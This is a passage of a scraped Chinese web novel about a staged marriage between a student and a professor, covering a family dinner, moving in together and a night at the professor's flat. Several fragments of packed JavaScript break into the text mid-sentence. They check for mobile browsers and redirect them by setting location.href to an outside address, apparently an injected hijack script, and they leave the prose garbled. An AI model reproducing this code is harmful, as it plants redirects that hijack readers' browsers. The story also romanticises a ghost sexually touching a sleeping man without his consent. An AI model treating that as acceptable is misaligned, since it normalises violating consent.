l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119914|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚地蜷缩了下刚才被握住那只手的手指。 “我听小元说你们吃得偏甜口,所以选了这家餐厅,安排了一些招牌菜,如果不喜欢还可以再点。”戚寻向服务员使了个眼色,对方将已经确认的菜单还有一本厚厚的菜单本放到了何湫他们面前。 何湫把菜单递给花槿,对方简单扫了一眼,认可地点了点头,把厚菜单本递给身边的危袭。 “小戚真会点,都是小元和我们爱吃的,让你爸妈看看要不要再加什么,我们觉得差不多了。” 危袭优雅地接过菜单,“没关系,我们刚刚已经看过了,差不多了。” 服务员见状,上前将菜单本撤走。 “哎呀,我真是越看小元越满意,”危袭看着阮新元感叹,“你们是不知道,我之前眼见戚寻这孩子都快三十了还不找对象,周围朋友的孩子都生小孩了,心里着急得很!” 何湫宽慰道:“现在年轻人注重事业嘛,再说了小戚这么优秀,晚两年结婚也有大把人等着的,不用担心。” “他啊之前一心都是工作,从来没和我们说过有谈过什么恋爱,问他有没有感兴趣的男生女生,他都说没有,现在看来还是没遇到对的人!”危袭笑着揶揄,花槿他们跟着笑。 戚寻……从来没有喜欢过人吗? 阮新元闻言心念一动,他微微偏头看向戚寻俊俏的侧脸,对方此时垂眸认真地挑着碗里的鱼刺,然后把那块完好的鱼肉放进了他的碗中。 “谢谢……”阮新元不受控地心跳得有点快,夹起那片鱼肉送入口中。 鱼肉鲜嫩,好像还带着点甜。 “好吃吗?”几位长辈聊得热闹,戚寻压低点嗓子,凑在阮新元耳边问。 阮新元感受到对方呼出的热气扑撒在自己耳根和脖颈,他觉得痒,小幅度地躲了一下,咬着筷子乖巧点头,“好吃,你都在给我夹,自己快多吃点。” 说完,他就给戚寻夹了块话梅排骨。 “好。”戚寻温柔地扬起嘴角,心满意足地观赏阮新元红了的耳朵,把排骨送入口中。 对他来说,这满桌的山珍海味不过是茫茫天地间可有可无的尘沙,而自己身边坐着的人,才是最可口的佳肴。 花槿则边吃边和何湫点评这些菜,对食物一心一意,没留眼神到别处。 等到阮新元剥完几只虾递给戚寻之后,他才看到自己老爸和戚寻的父亲拼起酒来。 “戚兄,来来来,我们喝点男人该喝的酒!”阮林福端起一杯白酒一秒吞进肚。 戚父看着是不怒自威的人,但此刻非常给面子,跟着将杯中烈酒一饮而尽。 戚寻盯着眼神变得飘忽的“父亲”,感觉有些不妙。 阮新元看到了,正想开口劝阮林福少喝点别又一身酒气招人嫌。 就在这时,他看到戚父突然站了起来,还立得笔直。 包厢内安静了一秒,在场的其他人眼神变得有些呆滞。 然后阮新元就眼见着戚父对着他们这个方向作揖,声音浑厚,醉了也一身正气,中气十足地喊道:“殿下,卑职……” 戚寻咬了咬后槽牙,闭了闭眼。 “唔唔——” “哎呀让亲家母你们见笑了,我家这位酒量可差了一杯倒,还耍酒疯,平时古代电视剧看多了就这样,估计是今天高兴忘记这茬了……”一边的危袭连忙把钟叩拉住捂住人乱说的嘴。 阮新元没忍住笑了一下,瞥了眼戚寻觉得这样不礼貌,咬唇止住了笑。 包厢内又安静了,危袭尬笑,恨不得现在就扛着钟叩滚回地府。 花槿从鲍鱼羹里抬起头,朝危袭竖了个大拇指,“发酒疯居然不幻想自己是皇帝而是下人,一看就知道你平时私底下调教得好!” 阮新元瞳孔地震,咬牙切齿提醒自家人谨言慎行,“外婆……” “啊……哈哈,过誉过誉。”危袭的手还捂着钟叩的嘴,另一只手狠狠掐了一把对方的腰。 阮林福打了个嗝,看看这边又看看那边,好像明白了什么。 转身朝何湫作了个揖,谄媚道:“女皇。” 阮新元:“……” 他已没有勇气再和戚寻对视。 11. 同居邀请 最后还是何湫最先反应过来,大手一拍阮林福厚成墙的背,大大方方地笑起来,“觉悟很高嘛,那你以后也得多向亲家公学习。” 阮林福忙不迭答应,憨笑着坐下,“是是是。” 方才那一掐危袭可是使出了十足的力道,应生生给钟叩掐醒了酒。 阮新元撑着额头,抬眸往对面一看,戚父眼神清明了些,但一如既往地不苟言笑,像是并不记得刚刚发生了什么的模样,非常淡定。 阮新元不得不佩服对方的好心态,只能说还好刚才包厢里没有别的服务员,要不然他都尴尬得不敢接着吃饭了。 “献丑了各位,酒量不好。”戚父说完这句话,倒了杯热水,饮尽肚内。 花槿瞥了眼阮新元和戚寻,清了清喉咙,主动引导转移话题,扳回尴尬的局面,“小元小戚啊,你们结婚之后最好得是住一块儿吧?” 阮新元闻言一愣,他还真没想过这个问题,毕竟他才大一,虽然学校里的四人寝不算大,但住在寝室上下课很方便。 哎,不过她外婆为什么还关心起他和戚寻同居的事情来了? 他们严格意义上来说不是形婚吗…… 阮新元一时间不知道该怎么回答,于是偏头看向身边的戚寻,想知道对方对于这件事有什么想法。 不过戚寻也并不喜欢他,估计……也没想过这个问题吧? 阮新元正自个琢磨着,磁性的嗓音打断了他的思绪。 “这个事情我之前就想过了,外婆不用担心,我在江城的房子离Z大不远,开车十五分钟不到,如果新元愿意的话,周末或者平时有时间都可以住在这个房子,我这边没有任何问题。” 阮新元心里一动,没想到戚寻还真的想过这件事。 又或许是临时起意? 好像都不太重要,重要的是他此时的回答。 一时间饭桌上的所有人都把目光投射到了他身上。 戚寻都这么说了,阮新元自然没什么好纠结的,“嗯,我周三、周五到周日的晚上都可以住那边。” “那感情好呀!”戚母捂嘴笑得花枝招展,“夫夫呢还是得多住一块儿,感情才能越来越好嘛。” 戚父在一边认同地点点头。 “嗯,这套房子我之后还会加上小元的名字,作为我们婚后的共同财产之一。”戚寻温和地补充。 阮新元闻言讶异地睁大眼睛,“寻哥这不……” 戚寻再次轻轻握住身边人白稚秀气的手,安抚地捏了捏。 “我们以后都是家人,不用分那么清。” “对嘛对嘛。”戚母在一边附和。 阮林福听得眉毛飞舞,没想到戚寻居然充当了个“女婿”这一传统角色,把房子都递交出来了。 他和身边的何湫深深对视一眼,何湫笑道:“你们决定好了那我们也就不多干涉了,不过之前我们也给小元在江城买了套房,你们要是住腻了也可以定期换个房子。” 言外之意也是这样比较公平,双方都不吃亏。 阮新元有些动容,他之前并不知晓这件事,不过也能听出来何湫也不想他在这段关系里占据下风,毕竟是假的。 这是最好的折中之法。 戚寻微笑着点头允诺,“好的,谢谢妈。” 一顿饭在断断续续地唠家常中结束,危袭以钟叩需要早点休息为由提前带人离开。 戚寻则负责把何湫三人先带回了酒店,阮新元和父母告了别,重新坐上了戚寻的车。 戚寻看了眼时间,和阮新元提议道:“现在时间还早,顺路带你去我住的房子看看怎么样?” 阮新元停顿了一秒,看着对方眨眨眼,被戚寻吊起了好奇心,“可以啊。” 二十分钟后,车子开进盛都朝园的地下车库。 阮新元一路观赏着车窗外的景色,在车子驶入盛都朝园后,隐约记得自己曾经骑共享电瓶车路过过这个房区,偶尔也听人说住在里面的人都非富即贵,没想到戚寻的家就在这里面。 不过看戚寻的着装谈吐还有他父母的气质也能猜出来,戚寻的家室不错,还不是一般的不错。 阮新元下了车,跟在戚寻身边走着,在地下室电梯前站定,他见对方在电梯旁的机器上输入了一串数字,电梯正式打开。 见阮新元眼神有些疑惑,戚寻认真解释:“进电梯前需要按一下楼层相对应的密码,否则进电梯后没办法按楼层键。” 阮新元了然地点点头,“好高级喔……” “这边的治安很好,房子的隔音效果很不错,住户之间也不会互相打扰,大家都很有分寸注重隐私,住下来没有让我觉得不适的地方。”戚寻一边充当解说员的身份,一边按下十六楼的电梯按钮。 “当然房间里面的设施我之前都是按照最简单的黑白灰风格进行装修的,现在看上去实在是有些无趣,”戚寻耸耸肩,“你不喜欢的话可以随意修改,我都可以接受。” 阮新元小幅度地摇摇头,“我觉得只要不是各种风格杂糅都挺好的,没必要再浪费时间精力修改。” 而且,说不定他之后会和戚寻离婚,用不着让对方的房子按自己的心意来…… “叮——” 电梯打开,两人同步踏出。 戚寻在深棕色大门前的密码锁上按了下指纹解锁,又点了点屏幕,“小元,来这里录一下指纹,以后可以直接进。” “啊……”阮新元犹豫了几秒,戚寻非常有耐心地等着他,最后他走上前,大拇指按住屏幕,几秒钟后,“滴”的一声,指纹录入成功。 戚寻打开门,从门旁的鞋柜里拿出两双黑色拖鞋摆放在门口。 阮新元低头换上拖鞋后,像小猫一样站在门口探头探脑观察屋内的陈设。 确实是很经典的黑白灰ins风格,但他倒不觉得无趣。 落地窗前摆着的皮质月牙形黑色沙发、样似人体骨节设计感十足的白色吊灯和棋盘格式的酒柜都别具一格,体现出屋主人高级的品味。 “先坐,我给你倒杯水。”戚寻绕到吧台后面,准备给阮新元泡杯蜂蜜柠檬水。 阮新元坐下后还在四处张望着,新奇地打量着戚寻的房子,冷淡却又不单调,少了些活气,却很精致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他盯着阮新元低垂颤动的睫毛,幽幽道:“如果你其实不愿意的话,我会和我父母解释,他们也会理解的,就怕某天他们突然到访,家里还只有我自己一个人生活的痕迹,这样解释起来就麻烦了。” 阮新元闻言抬眸,微微仰头,漂亮的瞳孔映照出戚寻的面庞,轻声道:“戚教授不介意让喜欢你的人住进你家,我当然……就可以。” 戚寻人类躯体内的血液因这句话燃烧沸腾起来,几乎要烧断他的理智,他明知这是一句谎言,却心甘情愿地落入牢笼。 本来带着疏远客套意味的称呼也在这一刻变作一种催他鬼命的药,这是阮新元回答他问题作弊的法宝,他强忍住自己触碰阮新元身体的欲望,但恶劣的心思不受控地让话语脱口而出。 “那要不要今晚提前适应一下,同居生活?” 阮新元一下子脑子没有转过来,他眼神天真:“我睡客房?” 戚寻歪头,温柔地提醒,“老公啊,真夫妻不会分房睡,需要提前适应的当然是……睡一张床。” 12.痴缠 阮新元因戚寻脱口而出“老公”一词激得浑身一抖,他一下子眼睛也跟着睁大,圆溜溜的眼珠子像两颗玻璃球,一声不响地滚落进戚寻的心口。 “可以吗小元?”戚寻从容不迫,又循循善诱。 阮新元艰难地抽出一点思绪回想了一下戚寻主卧里那张床的大小,觉得似乎好像他和对方睡一起也不是不行,反正睡两个大男人绰绰有余,甚至都不会碰到对方一根毛。 谁叫他刚刚默认了的? 他以为自己反问那句话是四两拨千斤,没想到是搬起石头砸了自己的脚。 再说戚寻刚才说得也有道理,要是哪天戚父戚母突然造访,发现他俩居然是分房睡,那解释起来就太麻烦了。 反正戚寻都不介意跟喜欢自己的人睡一张床,他坦坦荡荡的更没什么好纠结的了,都是男的,生理构造也一样,不存在什么尴尬的问题。 想到这里,阮新元暗自说服了自己,他缓缓吐出一口气,“那今晚……洗漱的东西怎么办?” 戚寻眼里笑意加深,“我这里一次性用品都有,今晚你可以先将就用,改天我们找时间一起去趟超市采购。” “干净换洗的睡袍也有,你身上外穿的衣服可以现洗现烘干。” 阮新元暂时想不出别的问题了,他终于点头答应,“那好,我和我室友们说一声。” Z大对于学生晚归的管理比较自由,只要保证24小时内在学校寝室刷过脸,在外面睡一晚也不需要向辅导员申请批准。 阮新元在寝室群里发了今晚要在外面过夜的消息,其他三个人整齐划一地在同一时间回复“收到”,也没刨根问底他要睡在哪,估计都心知肚明。 “那我先去洗澡,无聊想玩游戏的话可以去客房边上的休闲屋。”戚寻说完这句话,顺手脱掉了薄外套,走进了卧室。 “好。” 阮新元看着那道修长的背影消失在自己视线里,悄悄松了口气,坐回沙发上,开始发呆。 他总觉得今晚的戚寻好像和之前有点不太一样? 明明依旧是彬彬有礼风度翩翩的,在重要事情抉择上也给足了他尊重,把选择权都交在了他手中。 可,具体是哪里不太一样他也说不上来…… 就是莫名有种被对方推着走的感觉。 几分钟后,他终究是想不出个所以然来,干脆也就不多想了,思考起自己的“病”来。 或许是和命定之人结婚真起了作用,连着两天他的心绞痛都没再发作,就是不知道如果离婚的话,治疗效果会不会失效,现在他无法下论断,一切都得等他平安过这个十八岁再说。 阮新元放松身躯,让自己陷进柔软的皮质沙发里,耳边传来“哗哗”的水流声。 他顺着声音的方向微微抬眼,主卧的门居然半掩着,水流声越发地清晰起来,他撑着沙发的把手,在想戚寻也有粗心的时候,连门都忘记了关。 “叮——” 手机屏幕亮了一下,有新消息,阮新元打开微信,瞳孔不自觉放大。 【戚教授:小元,我刚才忘记拿睡袍了,可以帮我拿一下吗?在客房的衣柜里,随便拿一件就行。】 在客房的衣柜? 阮新元觉得有些奇怪,他起身走进客房,打开灯后环顾了下四周,拉开床边衣柜的木门,果然看到一排挂着五六件一模一样的睡袍。 估计是主卧衣柜里没位置放了。 他放下疑惑,从里面按戚寻说的随便拿了一件,在手机上敲字。 【多财多福金元宝:我找到了,帮你放到浴室门口吗?】 【戚教授:谢谢小元,待会儿直接递给我就好。】 阮新元回复了个“OK”的表情包后收起手机,一只手抱着睡袍走出客房。 他大步流星走到主卧门口,水流声在此时已经停了,他轻轻推开虚掩着的门,静悄悄地走进独属于戚寻的私人领地。 他偏过头转身,站在暖灯照耀着的浴室门口,一时间愣住没有了动作。 刚才参观的时候他没看仔细,直到真正走进来,他才发现戚寻主卧的浴室居然是……仅仅被一层磨砂玻璃隔着,可以隐隐约约窥见室内人的身形,包括对方在做什么事情,也能看个大概。 阮新元忘记了眨眼,比如此刻他就看到高大的身影背对着他,正用毛巾擦拭着上半身和头发,他甚至能用眼睛描摹出戚寻上半身漂亮的肌肉线条,不夸张且有力,是他以前最羡慕最想拥有的那款肌肉,对方的腰腹也紧致得没有一丝赘肉。 就在他失神的瞬间,那道人影放下浴巾侧过身,阮新元像被烫到似的立马闭上了眼,生怕自己看到什么不该看的。 毕竟某个地方的形状和大小也会被显露出来…… “小元?”戚寻各种玻璃自然也瞧见了他,见人一动不动,声音透着疑惑。 阮新元破罐子破摔地红着耳朵睁开眼,低着头不敢乱看,快速把睡袍放在了床上,嘴巴里像被放了个滚烫的鸡蛋咕噜得极快,“那个我把睡袍放床上了我也去客房洗澡了待会儿见!” 说完这句话,他就“砰”地一下把门关上溜之大吉。 为了避免待会撞上的尴尬,阮新元拿上条新睡袍还有柜子里一同摆放着的一次性内裤,直接躲进了客厅的卫生间。 他站在镜子前喘着气,在冷调灯光下看见自己慢慢涨红的一张脸,羞赧地用凉水扑了扑脸颊,试图给身体降温,开始反思。 怎么能就站在那里一直盯着人看还看走神了呢? 简直和偷窥没区别! 但是退一万步来说,戚寻家的浴室构造和戚寻本人就没错吗? 哪有人在家里浴室装这种可以看见人影的玻璃啊……太奇怪了。 不过,戚寻说过他不会让任何人在他家过夜,那这样好像也说得通,反正也不会被别人看到。 啧,那谁叫戚寻身材练那么好的,他刚刚不过也是纯欣赏,没别的意思。 阮新元成功把自己哄降温了,研究了一下浴室里放着的瓶瓶罐罐,褪去身上的衣物扔进脏衣篓,开始洗澡。 二十多分钟后,他在浴室里穿好睡袍、吹好头发,整理好表情和情绪,从浴室里走了出来。 戚寻此时正穿着和他一样的睡袍低着头坐在单人沙发上看书,骨灯的白光透着凉意照射在对方上脸颊上,高挺的鼻梁和长睫毛,在别处落下阴影。 “洗完了?”戚寻对目光如有所感,抬眼锁定向他走来的阮新元。 阮新元见戚寻态度如初,没什么异常,终于放下心,刚才那个尴尬的场景就让他一个人消化吧。 “嗯,你在看什么书?”阮新元绕到沙发后,从戚寻的后肩处探出头来。 戚寻的鼻尖飘过一阵柑橘香,阮新元现在身上的味道和他的如出一辙,就像他把人侵占了个完全。 意识到这个之后戚寻的指尖顿住再也不想翻动枯燥的书籍,甚至不动声色地幻化出鬼的习惯,禁住了片刻心脏地跳动。 “教学相关的资料书籍而已,”戚寻把书本合上放到了一边偏过头看向趴在沙发靠背上的人勾起嘴角,“你在回来的路上不是说累了吗,先去房间休息吧,我有点工作要处理。” 阮新元直起身,“喔,好,那你也早点休息。” 戚寻眼中含笑,“嗯。” 现在不过晚上九点,阮新元过了困劲,这会儿还算精神,他走到卧室的床边纠结了一下,选择了靠窗的那边躺下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128677|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身边还空出来一大片地方。 屋内开了空调,温度适宜,他趴在床上百无聊赖地玩了几局游戏,困意再次涌来。 因为身边没有别的人,他躺下后不觉得拘谨,把手机随意地放在了床头柜,换了盏台灯,屋内变得昏暗下来,阮新元的脸一半陷进柔软的枕头。 没过一会儿,他就进入了梦乡。 不知何时,房间的门被悄然打开,戚寻的步子没有一点声响,他一步又一步走近到床内熟睡的人面前,然后蹲下身。 阮新元的呼吸绵长,睡着时的面容依旧好看得挑不出一点瑕疵,一张饱满的嘴红润得如同含着露水的樱桃,醒时常笑盈盈的眼此刻闭着,却依旧挡不住他身上勾人的气质。 戚寻不知自己凑在一旁看了多久,才不舍地站起身走到床的另一边躺下,动作始终悄无声息,丝毫没有打搅到阮新元的好梦。 “啪嗒”一声,屋内最后一片光源被关闭,黑暗席卷了整个房间。 夜晚,则刚刚开始。 戚寻转过身望着身旁微微蜷缩的背影,嘴角勾起一个弧度,然后慢慢地闭上眼。 一道诡异的红光以极快的速度闪过,紧接着取而代之的是一片深绿的暗影,黑红相间的鬼影肆无忌惮地飘荡在了屋内。 睡梦中的阮新元似乎是感觉到了有些冷,翻了个身,正对着天花板,把薄被子盖到了脸颊处的位置。 鬼影目标明确,他毫不犹豫地穿过被子,用手虚握住阮新元细细的脚踝,放在手心里抚摸摆弄。 紧接着是往上的小腿,鬼影的长发落在阮新元的腰腹,他贪婪地舔/舐着大腿的软肉,汲取对方身上他所熟悉的味道。 过了一会儿,他嫌弃自己的长发太过碍事,懒洋洋地抽掉腰部的红绳把自己的长发挽成低丸子,松松垮垮地耷拉在他后颈。 与此同时,他身上的袍子散落,露出大片的腹肌,无意识蹭着身下人摆在一边的手臂。 这下再没有了碍事的东西,鬼影的眼睛闪过兴奋的红光,他用两只大手揉捏着他朝思暮想的一切心上人身上的“禁地”。 没有一处是他不喜欢的。 最后到了极其珍贵的脸庞,他轻轻啄吻着额头、眉眼、挺翘的鼻尖、双颊、下巴…… 珍视得不能再珍视,却堪堪避过了最诱人的嘴唇。 鬼影克制地用自己的额头抵住阮新元的,紧紧拥住了身下的人。 他额间的红鸾激烈地闪动着,昭示着快要决堤的爱意。 鬼身拥不住真正的爱人,却暂时解救了他存在千年的病灶。 睡梦中的阮新元轻皱了下眉,翻动了下身子接着熟睡。 窗外的天吐露出白,光线透过窗纱隐约着舞动进来。 天将至黎明。 缠绕的鬼影一把扯散头发上的红丝带,如墨般的长发滚落,他最后用鼻尖蹭了蹭阮新元的鼻尖,渐渐淡去,不动声色地飘回戚寻紧闭着眼的躯体。 回魂的戚寻睁开眼,看向面对着他安睡的阮新元,心满意足地保持着人身的距离。 * 阮新元觉得有些热,他把一只腿伸出被窝,慢慢地睁开了惺忪的眼。 梦里的纠缠灼热感余韵仍在,他惊疑片刻,断断续续地回忆起昨晚那场梦。 湿热、情动、十字相扣、紧密得无法分割…… 他僵硬着身体,脑海中闪过这场春梦的另一位主角的脸。 此刻正躺在他的身后。 阮新元不敢翻身也不敢再随意乱动,因为他下半身的窘态还没消停。 他的脑海不受控地播放着这场梦,让他不想不行。 等等…… 为什么在他梦里,他是下面那个? 13.病症再发 还是他自己做的梦,岂不是代表了他潜意识里竟然把自己当作了…… 这不可能,太羞耻了。 阮新元在心里激烈地摇晃了几下脑袋,强迫自己把梦中的一切甩出脑海。 他紧闭着眼裹着被子,不得不夹紧大腿,等着那点可耻的反应消下去。 睡在自己身边的人成了他梦里那个的对象这件事还是太超过了。 密密麻麻全是不能播的场景! 阮新元从来都很少做这种类型的梦,而且他之前对戚寻也没什么非分之想,怎么偏偏昨晚就…… 难道是因为他太久没有纾解了,昨晚不小心撞见人的腹肌欲望爆发? 这倒是也有可能,毕竟他向来不是个重欲的人。 不对,他为什么看到戚寻的腹肌会欲望爆发? 阮新元脑内依旧一片浆糊,什么都不想意味着什么都乱想了一通,等他感受到腿间的东西终于慢慢疲软了下去,他才敢小心翼翼地侧过点身来。 不知道戚寻醒了没,外面的天这会儿已经大亮。 他艰难地用余光扫射身旁的位置,身体像只有眼珠子能转动的雕塑,然后惊讶地发现另一边的被子铺得整整齐齐,甚至没怎么留下有人睡过的痕迹。 阮新元顿了顿,喘了口气,终于没有再保持僵硬的姿态,彻底放下心转过头,看着空空如也的另一边床,意识到刚才自己紧张得差点忘了呼吸,都没发现身边压根没有另一个人存在。 差点让他怀疑昨晚戚寻到底有没有在主卧睡了。 不过有凹陷的枕头证明对方还是睡了的,只是不知道什么时候已经起床离开,现在房间里只有他一个人。 阮新元撑起上半身,活动了下脖子,靠在床头,拿过手机解锁,看了眼时间。 现在是早上七点半,得益于他昨晚睡得早,不用闹钟自然醒了,周一上午第一节课在九点,他这会儿也不用着急忙慌地赶去学校。 阮新元放下手机,伸了个懒腰,塌腰犯着懒有点不想出被窝。 就在这时,他不经意一偏头,目光一滞,突然发现床边的沙发上,放着他昨天穿的白色短袖内搭、黄绿格子衬衫和浅蓝色破洞牛仔裤,都被叠得方方正正。 他掀开被子几步走到沙发边,拿起那叠衣服,淡淡好闻的薰衣草香侵入鼻腔,它们显然是已经被洗过烘干了的。 紧接着他又随意翻动了两下,下一秒,他的手像被定住了,短袖和格子衬衫之间,还隔着一块小布料——自己的内裤也被叠在了里面。 戚寻居然……一起洗了? 那就是摸过了他昨天穿的这条了。 一时间梦里的那些旖旎重蹈覆辙进入阮新元脑海中,画面还愈发清晰起来。 阮新元这下连拿着自己的内裤都觉得烫手。 “咔哒——” “小元,你醒了?” 熟悉温柔低沉的声音勾回阮新元的思绪,他猛得抬头往门口看,戚寻穿着蓝白条纹短袖围着褐色围裙探头看向他。 “啊,嗯,早上好寻哥。”阮新元的脸还发着烫,手还无意识纂着那块布料,还有点想往身后藏。 戚寻眼神扫过阮新元捏着纯白色内裤的手,认真解释道:“你的贴身衣物我帮你单独用内衣洗衣机洗的,杀菌烘干了,干净的。” 阮新元闻言把这叠衣服抱在怀里,把内裤藏到了里面,“啊,那谢谢寻哥了,我先……换个衣服洗漱一下。” 不用明说,戚寻看对方的眼神就知道这是暗示需要自己先回避的意思,他贴心地退出一步房间,“好,我等你吃早餐。” 戚寻温柔笑着地关上门离开,阮新元盯着怀中的衣服有片刻失神。 最后他慢吞吞地解开睡袍,把衣服换上,拿起穿过睡袍,走到浴室里洗漱。 洗手台上戚寻早就把洗漱用具给一一摆好,甚至连牙膏都提前挤好了翘着尾巴的一泵。 阮新元边眯着眼睛刷牙边感叹对方的贴心。 然后在心里暗自再下论断,戚寻真的是一个很好的人。 几分钟后,他收拾完毕,拿上手机从房间里出去。 戚寻坐在餐桌上喝着咖啡看报纸,看样子已经吃完了早餐,对面空出来的位置上摆放着一份看上去漂亮又可口的三明治和一杯冒着热气的牛奶。 阮新元自觉在空位置坐下,用手捏起三明治,咬了一口,眼前一亮。 牛油果、培根和煎蛋的香气在他口中炸开,简单又十足美味,勾起了他吃早餐时匮乏的食欲。 他吃完一口后又小口抿了下热牛奶,空荡的肚子渐渐被填满。 戚寻坐在对面认真地看着报纸,时不时喝一口咖啡。 阮新元慢条斯理地吃着三明治,没有出声打搅对方。 这是一个静谧令人舒心的早晨,好像他们已经这样生活了很久一般,单独待在同一个私密空间里完全不会觉得有不适感。 待阮新元把杯中牛奶喝得一滴不剩,戚寻也恰好阅读完一整份报纸,饮尽最后一口热咖啡。 “你上午还要上课,那爸妈外婆今天有什么安排需要我陪同吗,我周一只有上午一节课,下午有时间。”戚寻放下报纸,询问阮新元。 “嗡嗡嗡——” 阮新元舔了舔有奶渍的嘴唇,刚想开口回答,何湫的电话恰好在这时弹了过来。 他擦了擦手,用手指点点手机屏幕,眼神和戚寻示意了一下,接起电话,“喂,妈,你们吃过早饭了吗?” 何湫在电话那头说了几句,阮新元没说什么,只表示自己已知晓,“嗯,好我知道啦,那你们注意安全,遇到问题记得给我发消息。” 他挂掉电话,紧接着回答戚寻方才的那个问题,“寻哥你自己忙吧,刚刚我妈说他们准备今天自己逛一下江城,晚上吃完饭八点半的高铁启程回家。” “那我们就负责晚上再送他们去高铁站吧?”戚寻询问。 阮新元微微仰头思索了一下,点了点头,“嗯好,我待会儿微信和他们说一声。” “我们可以准备出发了。”戚寻看了眼手表站起身。 阮新元刚准备起身把餐盘放进身后的水槽,眼前路过的身影挡住了几秒光亮,等他反应过来的时候,戚寻已经端上餐盘和陶瓷杯转身放在了厨房的案板上,根本没他收拾的机会。 “看看还有没有什么重要的东西落下,”戚寻走到客厅,边提醒边穿上薄款深蓝色做旧牛仔外套,“如果没有我们走吧。” 阮新元被这个穿着的戚寻晃了一眼,晃乱了心神。 以往戚寻从来都是黑白灰这三个色系混着搭,今天出奇的穿了件牛仔外套搭配一条白色阔腿裤,非常清爽帅气,即使发型不是显小的顺毛,给人的感觉也像年轻了好几岁。 这样的戚寻,在学校里又会不自觉吸引很多人的视线吧…… “小元?”戚寻挑眉提醒。 阮新元装模作样咳嗽了两声,“昂好,我去换鞋。” 开车不过十分钟,戚寻就把阮新元送到了学校。 他没有开进去,而是应阮新元的要求停在了学校门口。 周一来往进入校园的人不算多,阮新元和戚寻道了别,走进校门。 他从门口扫了辆共享电瓶车,风驰电掣地开到了西大楼。 好巧不巧碰到了自己边吃早饭边等电梯的三位室友。 阮新元拍了拍站在最外面的蒋其风的左肩,又调皮地往右边躲了一下。 “哎?”蒋其风愣愣地左右晃晃脑袋,终于锁定了身后的人,“这么巧,元哥你来了,你的笔和书在我包里呢。” “好,辛苦了。”阮新元又鼓励似的拍拍对方的背。 方又知见一脸神清气爽的阮新元眼神意味深长,轻声调侃:“看着昨晚精神很好嘛,比和我们一起睡好。” 严康良喝着豆浆没说话,默默竖了个大拇指,刚想语出惊人一番,被阮新元笑着制裁。 “叮——” 电梯门打开,浩浩荡荡的一堆人挤进密闭的空间里。 方又知手中拎着袋子里的肉包飘着香,阮新元却觉得有些油腻,胃轻微感到不适,不过好在三楼很快就到了,他倒也没在意。 四人两两并肩走出电梯,一边随口吐槽起课程,一边大步流星地往教室走。 * 晚上七点二十分,阮新元提前从晚自习教室悄无声息溜走,骑着车赶到校门口,刚好坐上戚寻的车。 “我今天下午和妈说过了,他们现在应该行李整理得差不多了,待会儿在酒店门口等我们。”阮新元快速地说着,系上安全带。 骑车过来风有些大,他的刘海被吹开,露出漂亮的眉眼。 戚寻余光盯了人几秒,然后一只手从牛仔外套口袋里掏出一颗大白兔奶糖放在手心,递到阮新元眼前,另一只手操控着方向盘。 宽大的掌心使得奶糖像被缩小了一般,阮新元接过那颗糖没怎么犹豫就拆开放进了嘴里。 甜蜜浓郁的味道在舌尖蔓延,他莫名觉得戚寻这个行为像在哄小孩。 方才戚寻什么也没说就递来这颗糖,好像算准了他喜欢一样。 好吧,他确实喜欢吃这种奶味十足的糖,不过戚寻是怎么知道的? “今天有同事在办公室里分的,我不怎么喜欢吃甜的东西,上次看你爱吃小蛋糕,就给你带来了。”戚寻像是能猜透阮新元心中疑惑一般,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133923|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己先解释了。 阮新元笑起来,露出和奶糖般甜甜的酒窝,“我确实喜欢。” 约莫二十分钟后,车子抵达何湫他们入住的酒店。 阮新元隔着十米看到了站在酒店门口聊着天的三人,摇下窗户喊了他们一声。 花槿是最先看到的,她打断了阮林福的絮叨,背着包往这边走。 戚寻停下车,打开后备箱,下车帮阮林福搬运行李箱。 一切准备就绪后,何湫他们坐上了后座。 阮新元率先发问:“怎么样今天好玩吗?” “就那么回事,江城和我们那边差不多,就是地方更大些。”花槿甩了甩自己狮子毛一样的短卷发,哼了一声,说不上满意。 阮林福附和:“菜味道和我们那也差不多,不过确实离得近,元啊你有空也可以带小戚来宁城看看。” “是啊,到时候我和你爸会下厨的。”何湫笑着说。 阮新元笑盈盈地说好,又和他们说戚寻准备了不少礼物,怕他们高铁上带着不方便直接邮寄了过去。 何湫他们听见了忙说戚寻太客气,戚寻温和地笑着说只是一点心意,一来二去他们倒也没推脱这份好意。 阮新元有一搭没一搭地和自家人聊着天,压下那点又突然起来的呕吐感,摇下四分之一的车窗呼吸新鲜空气。 等到了高铁站,花槿摆摆手示意他们不用送了,连拥抱的功夫也勒令省了,一步也不回头地走了,潇洒至极。 见自己外婆如此傲娇的一面,阮新元颇感可爱。 直到三人的背影彻底消失在他的视线,他才坐回戚寻的车子准备回学校。 